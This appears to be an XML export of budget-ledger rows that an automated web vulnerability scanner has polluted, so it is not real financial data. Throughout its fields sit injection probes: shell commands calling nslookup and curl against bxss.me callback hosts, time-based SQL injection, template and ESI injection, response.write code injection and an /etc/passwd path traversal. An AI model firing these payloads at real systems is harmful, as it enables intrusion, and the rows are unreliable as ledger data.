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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>19679089412</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>&amp;echo qncobd$()\ bbaugc\nz^xyu||a #' &amp;echo qncobd$()\ bbaugc\nz^xyu||a #|" &amp;echo qncobd$()\ bbaugc\nz^xyu||a #</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>19424263</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>${9999425+9999150}</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>${10000115+10000125}</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU&lt;esi:include src="http://bxss.me/rpb.png"/&gt;</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>${10000276+10000044}</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1&lt;esi:include src="http://bxss.me/rpb.png"/&gt;</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>`(nslookup -q=cname hitcewkarmmff3cfc8.bxss.me||curl hitcewkarmmff3cfc8.bxss.me)`</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&lt;!--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>"+response.write(9686147*9147768)+"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>response.write(9686147*9147768)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>'"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'+response.write(9686147*9147768)+'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>;(nslookup -q=cname hitengxeqtsdb6c729.bxss.me||curl hitengxeqtsdb6c729.bxss.me)|(nslookup -q=cname hitengxeqtsdb6c729.bxss.me||curl hitengxeqtsdb6c729.bxss.me)&amp;(nslookup -q=cname hitengxeqtsdb6c729.bxss.me||curl hitengxeqtsdb6c729.bxss.me)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>response.write(9421278*9480635)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>|(nslookup -q=cname hittvmaeussot00ceb.bxss.me||curl hittvmaeussot00ceb.bxss.me)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'+response.write(9506371*9820621)+'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>ugeTjQ8a: t1psW66v</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>&amp;(nslookup -q=cname hitzsxllrefczfa6c3.bxss.me||curl hitzsxllrefczfa6c3.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitzsxllrefczfa6c3.bxss.me||curl hitzsxllrefczfa6c3.bxss.me)&amp;`'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>response.write(9506371*9820621)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>VWAxcHhL</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>19448483</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>&amp;nslookup -q=cname hitupqfqfnucf88508.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitupqfqfnucf88508.bxss.me&amp;`'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>$(nslookup -q=cname hitlelmdiwfsua5bdf.bxss.me||curl hitlelmdiwfsua5bdf.bxss.me)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(nslookup -q=cname hitpptohjfaaad1e63.bxss.me||curl hitpptohjfaaad1e63.bxss.me))</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>expr 9000881291 - 913677</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>|echo tpjysk$()\ rlmlah\nz^xyu||a #' |echo tpjysk$()\ rlmlah\nz^xyu||a #|" |echo tpjysk$()\ rlmlah\nz^xyu||a #</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>&amp;echo xqtige$()\ icraop\nz^xyu||a #' &amp;echo xqtige$()\ icraop\nz^xyu||a #|" &amp;echo xqtige$()\ icraop\nz^xyu||a #</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>1BI4D6Y2I70</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>../../../../../../../../../../../../../../etc/passwd</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102zOvALgvv') OR 590=(SELECT 590 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(select 198766*667891 from DUAL)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(select 198766*667891)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>@@oFZwJ</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102����%2527%2522\'\"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
